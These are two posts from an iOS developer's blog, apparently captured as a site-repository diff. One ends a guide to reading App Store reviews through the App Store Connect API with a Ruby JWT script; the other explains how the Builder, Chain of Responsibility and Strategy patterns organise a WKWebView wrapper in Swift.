First was to subscribe to Public RSS, but this RSS feed couldn’t be flexibly filtered, provided limited information, had a quantity limit, and we occasionally encountered data corruption issues, making it very unstable.

Second was through Fastlane SpaceShip, which encapsulated complex web operations and session management to fetch review data from the App Store Connection backend (essentially running a web simulator crawler to fetch data from the backend).

  • The advantage was that the data was complete and stable; we integrated it for a year without any data issues.
  • The downside was that the session expired every month, requiring manual re-login, and since Apple ID now requires 2FA verification, this also had to be done manually to produce a valid session. Additionally, if the session was generated and used from different IPs, it would expire immediately (making it difficult to host the bot on a network service with a non-fixed IP).

[important-note-about-session-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane

important-note-about-session-duration by Fastlane

  • Expire irregularly every month, need to update from time to time, it becomes really annoying over time; and this “ Know How “ is actually difficult to hand over to other colleagues.

But because there is no other way, we can only do this until we received the news this morning…

⚠️ Note: The official plan is to cancel the original XML (RSS) access method in 2022/11.

2022/08/10 Update

I have developed a new “ ZReviewTender — Free and Open Source App Reviews Monitoring Bot “ based on the new App Store Connect API.

App Store Connect API 2.0+ Customer Reviews Trial

Create App Store Connect API Key

First, we need to log in to the App Store Connect backend, go to “Users and Access” -> “Keys” -> “ App Store Connect API “:

Click “+”, enter the name and permissions; for detailed permissions, refer to the official website instructions. To reduce testing issues, select “App Manager” to grant maximum permissions.

Click “Download API Key” on the right to download and save your “AuthKey_XXX.p8” Key.

⚠️ Note: This Key can only be downloaded once, please keep it safe. If lost, you can only Revoke the existing one & create a new one. ⚠️

⚠️ Do not leak the .p8 Key File ⚠️

App Store Connect API Access Method

1
+
curl -v -H 'Authorization: Bearer [signed token]' "https://api.appstoreconnect.apple.com/v1/apps"
+

Signed Token (JWT, JSON Web Token) Generation Method

Refer to official documentation.

  • JWT Header:
1
+
{kid:"YOUR_KEY_ID", typ:"JWT", alg:"ES256"}
+

YOUR_KEY_ID: Refer to the image above.

  • JWT Payload:
1
+2
+3
+4
+5
+6
+
{
+  iss: 'YOUR_ISSUE_ID',
+  iat: TOKEN creation time (UNIX TIMESTAMP e.g 1658326020),
+  exp: TOKEN expiration time (UNIX TIMESTAMP e.g 1658327220),
+  aud: 'appstoreconnect-v1'
+}
+

YOUR_ISSUE_ID: Refer to the image above.

exp TOKEN expiration time: It varies depending on different access functions or settings, some can be permanent, some expire after more than 20 minutes and need to be regenerated. For details, refer to official instructions.

Use JWT.IO or the Ruby example provided below to generate JWT

jwt.rb:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
require 'jwt'
+require 'time'
+
+keyFile = File.read('./AuthKey_XXXX.p8') # YOUR .p8 private key file path
+privateKey = OpenSSL::PKey::EC.new(keyFile)
+
+payload = {
+            iss: 'YOUR_ISSUE_ID',
+            iat: Time.now.to_i,
+            exp: Time.now.to_i + 60*20,
+            aud: 'appstoreconnect-v1'
+          }
+
+token = JWT.encode payload, privateKey, 'ES256', header_fields={kid:"YOUR_KEY_ID", typ:"JWT"}
+puts token
+
+
+decoded_token = JWT.decode token, privateKey, true, { algorithm: 'ES256' }
+puts decoded_token
+

The final JWT result will look something like this:

1
+
4oxjoi8j69rHQ58KqPtrFABBWHX2QH7iGFyjkc5q6AJZrKA3AcZcCFoFMTMHpM.pojTEWQufMTvfZUW1nKz66p3emsy2v5QseJX5UJmfRjpxfjgELUGJraEVtX7tVg6aicmJT96q0snP034MhfgoZAB46MGdtC6kv2Vj6VeL2geuXG87Ys6ADijhT7mfHUcbmLPJPNZNuMttcc.fuFAJZNijRHnCA2BRqq7RZEJBB7TLsm1n4WM1cW0yo67KZp-Bnwx9y45cmH82QPAgKcG-y1UhRUrxybi5b9iNN
+

Try it out?

With the token, we can try out the App Store Connect API!

1
+
curl -H 'Authorization: Bearer JWT' "https://api.appstoreconnect.apple.com/v1/apps/APPID/customerReviews"
+
  • APPID can be obtained from the App Store Connect backend:

Or from the App Store page:

  • Success! 🚀 We can now use this method to fetch App reviews. The data is complete and can be fully automated without manual routine maintenance (JWT will expire, but the Private Key will not. We can generate a JWT for each request using the Private Key).
  • For other filtering parameters and operation methods, please refer to the official documentation.

⚠️ You can only access the App review data for which you have permission ⚠️

Complete Ruby Test Project

A Ruby file that performs the above process. You can clone it, fill in the details, and test it directly.

First time opening:

1
+
bundle install
+

Getting Started:

1
+
bundle exec ruby jwt.rb
+

Next

Similarly, we can access management through the API ( API Overview ):

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Painless Migration from Medium to Self-Hosted Website

ZReviewTender — Free Open Source App Reviews Monitoring Bot

diff --git a/posts/f4b02ee342a4/index.html b/posts/f4b02ee342a4/index.html new file mode 100644 index 0000000000..e5f1053976 --- /dev/null +++ b/posts/f4b02ee342a4/index.html @@ -0,0 +1,787 @@ + Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern | ZhgChgLi
Home Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern
Post
Cancel

Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern

Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern

Scenarios of using Design Patterns (Strategy, Chain of Responsibility, Builder Pattern) when encapsulating iOS WKWebView.

Photo by [Dean Pugh](https://unsplash.com/@wezlar11?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by Dean Pugh

About Design Patterns

Before discussing Design Patterns, it is worth mentioning that the most classic GoF 23 design patterns were published 30 years ago (in 1994). With changes in tools, languages, and software development patterns, many new design patterns have emerged in various fields. Design Patterns are not a universal solution or the only solution. Their existence is more like a “linguistic term” where the appropriate design pattern is applied in suitable scenarios, reducing obstacles in development collaboration. For example, applying the Strategy pattern here allows future maintainers to iterate directly according to the structure of the Strategy pattern, and design patterns mostly decouple well, providing significant assistance in scalability and testability.

Guidelines for Using Design Patterns

  • Not the only solution
  • Not a universal solution
  • Avoid forcing patterns; choose the appropriate design pattern based on the type of problem to be solved (creation? behavior? structure?) and the purpose
  • Avoid arbitrary modifications, as this can lead to misunderstandings by future maintainers. Just like how everyone calls Apple “Apple,” if you define it as “Banana,” it becomes an additional development cost that needs special knowledge
  • Avoid using keywords unnecessarily; for example, if the Factory Pattern is conventionally named XXXFactory, it should not be used unless it is a factory pattern
  • Be cautious about creating new patterns. Although there are only 23 classic patterns, the evolution in various fields over the years has introduced many new patterns. It is advisable to first refer to online resources to find suitable patterns (after all, three mediocre craftsmen surpass one Zhuge Liang). If no suitable pattern is found, propose a new design pattern and publish it for review and adjustment by people in different fields and contexts
  • Ultimately, code is written for human maintenance. As long as it is easy to maintain and extend, design patterns are not always necessary
  • Team consensus on Design Patterns is essential for their effective use
  • Design Patterns can be combined with other Design Patterns
  • Practical experience is crucial for mastering Design Patterns and understanding when to apply them appropriately

Auxiliary Tool ChatGPT

With ChatGPT, learning the practical application of Design Patterns has become easier. Just provide a detailed description of your problem, ask which design patterns are suitable for the scenario, and it can suggest several potentially suitable patterns with explanations. While not every answer may be perfect, it provides viable directions. By delving into these patterns and combining them with your practical scenarios, you can ultimately choose a good solution!

Practical Application Scenarios of Design Patterns in WKWebView

This Design Patterns practical application is to converge the functionality of the WKWebView object in the current Codebase and develop a unified WKWebView component. The experience of applying Design Patterns at appropriate logical abstraction points when developing the WKWebView component is shared.

The complete demo project code will be attached at the end of the document.

Original Unabstracted Implementation

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+
class WKWebViewController: UIViewController {
+
+    // MARK - Define some variables and switches for injecting features during external initialization...
+
+    // Simulate business logic: Switch to match special paths to open native pages
+    let noNeedNativePresent: Bool
+    // Simulate business logic: Switch for DeeplinkManager check
+    let deeplinkCheck: Bool
+    // Simulate business logic: Is it the homepage?
+    let isHomePage: Bool
+    // Simulate business logic: Scripts to inject into WKWebView as WKUserScript
+    let userScripts: [WKUserScript]
+    // Simulate business logic: Scripts to inject into WKWebView as WKScriptMessageHandler
+    let scriptMessageHandlers: [String: WKScriptMessageHandler]
+    // Override ViewController Title with Title obtained from WebView
+    let overrideTitleFromWebView: Bool
+    
+    let url: URL
+    
+    // ... 
+}
+// ...
+extension OldWKWebViewController: WKNavigationDelegate {
+    // MARK - iOS WKWebView's navigationAction Delegate, used to determine how to handle the upcoming link
+    // Must call decisionHandler(.allow) or decisionHandler(.cancel) at the end
+    // decisionHandler(.cancel) will interrupt loading the upcoming page
+
+    // Different variables and switches have different logic processing here:
+
+    func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
+        guard let url = navigationAction.request.url else {
+            decisionHandler(.allow)
+            return
+        }
+        
+        // Simulate business logic: WebViewController deeplinkCheck == true (indicating the need to check with DeepLinkManager and open the page)
+        if deeplinkCheck {
+            print("DeepLinkManager.open(\(url.absoluteString)")
+            // Simulate DeepLinkManager logic, open the URL if successful and end the process.
+            // if DeepLinkManager.open(url) == true {
+                decisionHandler(.cancel)
+                return
+            // }
+        }
+        
+        // Simulate business logic: WebViewController isHomePage == true (indicating the homepage) & WebView is browsing the homepage, switch TabBar Index
+        if isHomePage {
+            if url.absoluteString == "https://zhgchg.li" {
+                print("Switch UITabBarController to Index 0")
+                decisionHandler(.cancel)
+            }
+        }
+        
+        // Simulate business logic: WebViewController noNeedNativePresent == false (indicating the need to match special paths to open native pages)
+        if !noNeedNativePresent {
+            if url.pathComponents.count >= 3 {
+                if url.pathComponents[1] == "product" {
+                    // match http://zhgchg.li/product/1234
+                    let id = url.pathComponents[2]
+                    print("Present ProductViewController(\(id)")
+                    decisionHandler(.cancel)
+                } else if url.pathComponents[1] == "shop" {
+                    // match http://zhgchg.li/shop/1234
+                    let id = url.pathComponents[2]
+                    print("Present ShopViewController(\(id)")
+                    decisionHandler(.cancel)
+                }
+                // more...
+            }
+        }
+        
+        decisionHandler(.allow)
+    }
+}
+// ...
+

Issues

  1. Setting variables and switches in the Class makes it unclear which ones are for configuration.
  2. Exposing WKUserScript variables directly to the outside, we want to control the injected JS and only allow injection of specific behaviors.
  3. Unable to control the registration rules of WKScriptMessageHandler.
  4. If you need to initialize a similar WebView, you need to repeatedly write the injection parameter rules, and the parameter rules cannot be reused.
  5. The navigationAction Delegate controls the flow internally based on variables. If you need to delete or modify the flow or sequence, you have to modify the entire code, which may disrupt the originally normal flow.

Builder Pattern

The Builder Pattern is a creational design pattern that separates the construction steps and logic of creating an object. The operator can set parameters step by step and reuse the settings, and finally create the target object. Additionally, the same construction steps can create different object implementations.

Using the example of making a Pizza in the image above, the steps of making a Pizza are broken down into several methods and declared in the PizzaBuilder protocol (Interface). ConcretePizzaBuilder is the actual object that makes the Pizza, which could be VegetarianPizzaBuilder & MeatPizzaBuilder; different builders may have different ingredients, but they all ultimately build() to produce a Pizza object.

WKWebView Scenario

In the WKWebView scenario, our final output object is MyWKWebViewConfiguration. We consolidate all the variables that WKWebView needs to set into this object and use the Builder Pattern MyWKWebViewConfigurator to gradually complete the construction of the Configuration.

1
+2
+3
+4
+5
+6
+7
+8
+
public struct MyWKWebViewConfiguration {
+    let headNavigationHandler: NavigationActionHandler?
+    let scriptMessageStrategies: [ScriptMessageStrategy]
+    let userScripts: [WKUserScript]
+    let overrideTitleFromWebView: Bool
+    let url: URL
+}
+// All parameters are only exposed internally within the module
+

MyWKWebViewConfigurator (Builder Pattern)

Since I only have the need to Build for MyWKWebView here, I did not further break down MyWKWebViewConfigurator into multiple Protocols (Interfaces).

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+
public final class MyWKWebViewConfigurator {
+    
+    private var headNavigationHandler: NavigationActionHandler? = nil
+    private var overrideTitleFromWebView: Bool = true
+    private var disableZoom: Bool = false
+    private var scriptMessageStrategies: [ScriptMessageStrategy] = []
+    
+    public init() {
+        
+    }
+    
+    // Encapsulate parameters, internal control
+    public func set(disableZoom: Bool) -> Self {
+        self.disableZoom = disableZoom
+        return self
+    }
+    
+    public func set(overrideTitleFromWebView: Bool) -> Self {
+        self.overrideTitleFromWebView = overrideTitleFromWebView
+        return self
+    }
+    
+    public func set(headNavigationHandler: NavigationActionHandler) -> Self {
+        self.headNavigationHandler = headNavigationHandler
+        return self
+    }
+    
+    // Can encapsulate additional logic rules inside
+    public func add(scriptMessageStrategy: ScriptMessageStrategy) -> Self {
+        scriptMessageStrategies.removeAll(where: { type(of: $0).identifier == type(of: scriptMessageStrategy).identifier })
+        scriptMessageStrategies.append(scriptMessageStrategy)
+        return self
+    }
+    
+    public func build(url: URL) -> MyWKWebViewConfiguration {
+        var userScripts:[WKUserScript] = []
+        // Attach only when generating
+        if disableZoom {
+            let script = "var meta = document.createElement('meta'); meta.name='viewport'; meta.content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(meta);"
+            let disableZoomScript = WKUserScript(source: script, injectionTime: .atDocumentEnd, forMainFrameOnly: true)
+            userScripts.append(disableZoomScript)
+        }
+        
+        return MyWKWebViewConfiguration(headNavigationHandler: headNavigationHandler, scriptMessageStrategies: scriptMessageStrategies, userScripts: userScripts, overrideTitleFromWebView: overrideTitleFromWebView, url: url)
+    }
+}
+

Adding an extra layer can also better control the usage permissions of Access Control for isolating parameters. In this scenario, we still want to be able to directly inject WKUserScript into MyWKWebView, but we don’t want to leave the door wide open for users to inject at will. Therefore, combining the Builder Pattern with Swift Access Control, after MyWKWebView has been placed in a Module, MyWKWebViewConfigurator encapsulates externally as an operation method func set(disableZoom: Bool), internally generating MyWKWebViewConfiguration with attached WKUserScript. All parameters of MyWKWebViewConfiguration are immutable externally and can only be generated through MyWKWebViewConfigurator.

MyWKWebViewConfigurator + Simple Factory Simple Factory

Once we have the MyWKWebViewConfigurator Builder, we can create a simple factory to encapsulate and reuse the construction steps.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
struct MyWKWebViewConfiguratorFactory {
+    enum ForType {
+        case `default`
+        case productPage
+        case payment
+    }
+    
+    static func make(for type: ForType) -> MyWKWebViewConfigurator {
+        switch type {
+        case .default:
+            return MyWKWebViewConfigurator()
+                .add(scriptMessageStrategy: PageScriptMessageStrategy())
+                .set(overrideTitleFromWebView: false)
+                .set(disableZoom: false)
+        case .productPage:
+            return Self.make(for: .default).set(disableZoom: true).set(overrideTitleFromWebView: true)
+        case .payment:
+            return MyWKWebViewConfigurator().set(headNavigationHandler: paymentNavigationActionHandler)
+        }
+    }
+}
+

Chain of Responsibility Pattern

The Chain of Responsibility Pattern belongs to the behavioral design pattern, encapsulating object handling operations and chaining them together in a linked structure. The request operation will be passed along the chain until it is handled; the chained encapsulated operations can be flexibly combined and the order changed.

The Chain of Responsibility focuses on whether you want to handle something that comes in, if not, then skip it, so it cannot handle halfway or modify the input object and pass it to the next; if this is the requirement, it is another Interceptor Pattern.

The diagram above uses Tech Support (or OnCall…) as an example. When a problem object comes in, it first goes through CustomerService. If it cannot handle it, it is passed down to the next level, Supervisor. If it still cannot handle it, it continues down to TechSupport. Additionally, different responsibility chains can be formed for different issues. For example, if it is a problem from a major client, it will be handled directly from Supervisor. In the Swift UIKit Responder Chain, the Chain of Responsibility pattern is also used to respond to user operations on the UI.

WKWebView Scenario

In our WKWebView scenario, it is mainly applied in the func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) delegate method.

When the system receives a URL request, it will go through this method for us to decide whether to allow the redirection, and call decisionHandler(.allow) or decisionHandler(.cancel) at the end to inform the result.

In the implementation of WKWebView, there will be many judgments or page handling that are different from others and need to be bypassed:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+
// Original implementation...
+func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
+        guard let url = navigationAction.request.url else {
+            decisionHandler(.allow)
+            return
+        }
+        
+        // Simulated business logic: WebViewController deeplinkCheck == true (indicating the need to check and open the page through DeepLinkManager)
+        if deeplinkCheck {
+            print("DeepLinkManager.open(\(url.absoluteString)")
+            // Simulated DeepLinkManager logic, open the URL if successful and end the process.
+            // if DeepLinkManager.open(url) == true {
+                decisionHandler(.cancel)
+                return
+            // }
+        }
+        
+        // Simulated business logic: WebViewController isHomePage == true (indicating the home page is open) & WebView is browsing the homepage, then switch TabBar Index
+        if isHomePage {
+            if url.absoluteString == "https://zhgchg.li" {
+                print("Switch UITabBarController to Index 0")
+                decisionHandler(.cancel)
+            }
+        }
+        
+        // Simulated business logic: WebViewController noNeedNativePresent == false (indicating the need to match special paths to open native pages)
+        if !noNeedNativePresent {
+            if url.pathComponents.count >= 3 {
+                if url.pathComponents[1] == "product" {
+                    // match http://zhgchg.li/product/1234
+                    let id = url.pathComponents[2]
+                    print("Present ProductViewController(\(id)")
+                    decisionHandler(.cancel)
+                } else if url.pathComponents[1] == "shop" {
+                    // match http://zhgchg.li/shop/1234
+                    let id = url.pathComponents[2]
+                    print("Present ShopViewController(\(id)")
+                    decisionHandler(.cancel)
+                }
+                // more...
+            }
+        }
+        
+        // more...
+        decisionHandler(.allow)
+}
+

As time goes by, the functionality becomes more and more complex, and the logic here will also become more and more. If the processing order is different, it will become a disaster.

Define the Handler Protocol first:

public protocol NavigationActionHandler: AnyObject {
+    var nextHandler: NavigationActionHandler? { get set }
+
+    /// Handles navigation actions for the web view. Returns true if the action was handled, otherwise false.
+    func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool
+    /// Executes the navigation action policy decision. If the current handler does not handle it, the next handler in the chain will be executed.
+    func exeute(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void)
+}
+
+public extension NavigationActionHandler {
+    func exeute(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
+        if !handle(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) {
+            self.nextHandler?.exeute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) ?? decisionHandler(.allow)
+        }
+    }
+}
+
  • The operation is implemented in func handle(), returning true if there is further processing, otherwise false.
  • func exeute() is the default chain access implementation, which will traverse the entire operation chain from here. The default behavior is that when func handle() returns false (indicating that this node cannot handle it), it automatically calls the execute() of the next nextHandler to continue processing until the end.

Implementation:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+
// Default implementation, usually placed at the end
+public final class DefaultNavigationActionHandler: NavigationActionHandler {
+    public var nextHandler: NavigationActionHandler?
+    
+    public init() {
+        
+    }
+    
+    public func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool {
+        decisionHandler(.allow)
+        return true
+    }
+}
+
+//
+final class PaymentNavigationActionHandler: NavigationActionHandler {
+    var nextHandler: NavigationActionHandler?
+    
+    func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool {
+        guard let url = navigationAction.request.url else {
+            return false
+        }
+        
+        // Simulate business logic: Payment related, two-step verification WebView...etc
+        print("Present Payment Verify View Controller")
+        decisionHandler(.cancel)
+        return true
+    }
+}
+
+//
+final class DeeplinkManagerNavigationActionHandler: NavigationActionHandler {
+    var nextHandler: NavigationActionHandler?
+    
+    func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool {
+        guard let url = navigationAction.request.url else {
+            return false
+        }
+        
+        
+        // Simulate DeepLinkManager logic, open the URL if successful and end the process.
+        // if DeepLinkManager.open(url) == true {
+            decisionHandler(.cancel)
+            return true
+        // } else {
+            return false
+        //
+    }
+}
+
+// More...
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
extension MyWKWebViewController: WKNavigationDelegate {
+    public func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
+       let headNavigationActionHandler = DeeplinkManagerNavigationActionHandler()
+       let defaultNavigationActionHandler = DefaultNavigationActionHandler()
+       let paymentNavigationActionHandler = PaymentNavigationActionHandler()
+       
+       headNavigationActionHandler.nextHandler = paymentNavigationActionHandler
+       paymentNavigationActionHandler.nextHandler = defaultNavigationActionHandler
+       
+       headNavigationActionHandler.exeute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler)
+    }
+}
+

This way, when a request is received, it will be processed sequentially according to the handling chain we defined.

Combining the previous Builder Pattern MyWKWebViewConfigurator by exposing headNavigationActionHandler as a parameter allows external control over the processing requirements and order of this WKWebView:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
extension MyWKWebViewController: WKNavigationDelegate {
+    public func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
+        configuration.headNavigationHandler?.exeute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) ?? decisionHandler(.allow)
+    }
+}
+
+//...
+struct MyWKWebViewConfiguratorFactory {
+    enum ForType {
+        case `default`
+        case productPage
+        case payment
+    }
+    
+    static func make(for type: ForType) -> MyWKWebViewConfigurator {
+        switch type {
+        case .default:
+            // Simulating default scenario with these handlers
+            let deplinkManagerNavigationActionHandler = DeeplinkManagerNavigationActionHandler()
+            let homePageTabSwitchNavigationActionHandler = HomePageTabSwitchNavigationActionHandler()
+            let nativeViewControllerNavigationActionHandlera = NativeViewControllerNavigationActionHandler()
+            let defaultNavigationActionHandler = DefaultNavigationActionHandler()
+            
+            deplinkManagerNavigationActionHandler.nextHandler = homePageTabSwitchNavigationActionHandler
+            homePageTabSwitchNavigationActionHandler.nextHandler = nativeViewControllerNavigationActionHandlera
+            nativeViewControllerNavigationActionHandlera.nextHandler = defaultNavigationActionHandler
+            
+            return MyWKWebViewConfigurator()
+                .add(scriptMessageStrategy: PageScriptMessageStrategy())
+                .add(scriptMessageStrategy: UserScriptMessageStrategy())
+                .set(headNavigationHandler: deplinkManagerNavigationActionHandler)
+                .set(overrideTitleFromWebView: false)
+                .set(disableZoom: false)
+        case .productPage:
+            return Self.make(for: .default).set(disableZoom: true).set(overrideTitleFromWebView: true)
+        case .payment:
+            // Simulating payment page with only these handlers, and paymentNavigationActionHandler having the highest priority
+            let paymentNavigationActionHandler = PaymentNavigationActionHandler()
+            let deplinkManagerNavigationActionHandler = DeeplinkManagerNavigationActionHandler()
+            let defaultNavigationActionHandler = DefaultNavigationActionHandler()
+            
+            paymentNavigationActionHandler.nextHandler = deplinkManagerNavigationActionHandler
+            deplinkManagerNavigationActionHandler.nextHandler = defaultNavigationActionHandler
+            
+            return MyWKWebViewConfigurator().set(headNavigationHandler: paymentNavigationActionHandler)
+        }
+    }
+}
+

Strategy Pattern

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
+
+![](/assets/f4b02ee342a4/1*RiMbrBGdFG6INBRCcE_WZw.png)
+
+> _The Strategy Pattern belongs to the **behavioral** design pattern, which abstracts the actual operation. We can implement various different operations, allowing flexibility to replace them according to different contexts._
+
+The above diagram illustrates different payment methods. We abstract the payment as a `Payment` Protocol (Interface), and then each payment method implements its own implementation. When using `PaymentContext` (simulating external usage), based on the user's selected payment method, the corresponding Payment entity is generated and `pay()` is called to process the payment.
+
+#### WKWebView Scenario
+
+> _Used in the interaction between WebView and frontend pages._
+
+> _When frontend JavaScript calls:_
+
+> _`window.webkit.messageHandlers.Name.postMessage(Parameters);`_
+
+> _It will go to WKWebView to find the corresponding `WKScriptMessageHandler` Class for `Name` and execute the operation._
+
+The system already has defined Protocol and the corresponding `func add(_ scriptMessageHandler: any WKScriptMessageHandler, name: String)` method. We just need to define our own `WKScriptMessageHandler` implementation and add it to WKWebView. The system will dispatch to the corresponding concrete strategy to execute based on the received `name` following the Strategy Pattern strategy.
+
+Here, we simply extend the Protocol with `WKScriptMessageHandler`, adding an `identifier: String` for `add(.. name:)` usage:
+
+![](/assets/f4b02ee342a4/1*RLA13rSVDIG9cV3CsWtS3g.png)
+
+```swift
+public protocol ScriptMessageStrategy: NSObject, WKScriptMessageHandler {
+    static var identifier: String { get }
+}
+

Implementation:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
final class PageScriptMessageStrategy: NSObject, ScriptMessageStrategy {
+    static var identifier: String = "page"
+    
+    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
+        // Simulating called from js: window.webkit.messageHandlers.page.postMessage("Close");
+        print("\(Self.identifier): \(message.body)")
+    }
+}
+
+//
+
+final class UserScriptMessageStrategy: NSObject, ScriptMessageStrategy {
+    static var identifier: String = "user"
+    
+    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
+        // Simulating called from js: window.webkit.messageHandlers.user.postMessage("Hello");
+        print("\(Self.identifier): \(message.body)")
+    }
+}
+

WKWebView Registration:

1
+2
+3
+4
+
var scriptMessageStrategies: [ScriptMessageStrategy] = []
+scriptMessageStrategies.forEach { scriptMessageStrategy in
+  webView.configuration.userContentController.add(scriptMessageStrategy, name: type(of: scriptMessageStrategy).identifier)
+}
+

Combining the Builder Pattern from the previous MyWKWebViewConfigurator to externally manage the registration of ScriptMessageStrategy:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
public final class MyWKWebViewConfigurator {
+    //...
+    
+    // You can encapsulate the logic for adding rules inside
+    public func add(scriptMessageStrategy: ScriptMessageStrategy) -> Self {
+        // Here, only the old logic will be deleted first when implementing duplicate identifiers
+        scriptMessageStrategies.removeAll(where: { type(of: $0).identifier == type(of: scriptMessageStrategy).identifier })
+        scriptMessageStrategies.append(scriptMessageStrategy)
+        return self
+    }
+    //...
+}
+
+//...
+
+public class MyWKWebViewController: UIViewController {
+    //...
+    public override func viewDidLoad() {
+        super.viewDidLoad()
+       
+        //...
+        configuration.scriptMessageStrategies.forEach { scriptMessageStrategy in
+            webView.configuration.userContentController.add(scriptMessageStrategy, name: type(of: scriptMessageStrategy).identifier)
+        }
+        //...
+    }
+}
+

Question: Can this scenario also be replaced with the Chain of Responsibility Pattern?

At this point, some friends may wonder if the Strategy Pattern here can be replaced with the Chain of Responsibility Pattern.

Both of these design patterns are behavioral and can be replaced; however, the actual choice depends on the specific requirements. In this case, the Strategy Pattern is very typical, where WKWebView determines different strategies based on the Name. If our requirement involves chain dependencies between different strategies or recovery relationships, such as if AStrategy cannot handle it and needs to pass it to BStrategy, then we would consider using the Chain of Responsibility Pattern.

Strategy v.s. Chain of Responsibility

Strategy v.s. Chain of Responsibility

  • Strategy Pattern: Clearly defined execution strategies without relationships between them.
  • Chain of Responsibility Pattern: Execution strategy is determined in individual implementations, passing to the next implementation if unable to handle.

For complex scenarios, you can combine the Chain of Responsibility Pattern inside the Strategy Pattern to achieve the desired outcome.

Final Combination

  • Simple Factory Pattern MyWKWebViewConfiguratorFactory -> Encapsulates the steps to generate MyWKWebViewConfigurator
  • Builder Pattern MyWKWebViewConfigurator -> Encapsulates MyWKWebViewConfiguration parameters and construction steps
  • Injection of MyWKWebViewConfiguration -> Used by MyWKWebViewController
  • Chain of Responsibility Pattern MyWKWebViewController’s func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Calls headNavigationHandler?.execute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) for chain execution handling
  • Strategy Pattern MyWKWebViewController’s webView.configuration.userContentController.addUserScript(XXX) dispatches the corresponding JS Caller to the respective handling strategy.

Complete Demo Repo

Further Reading

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



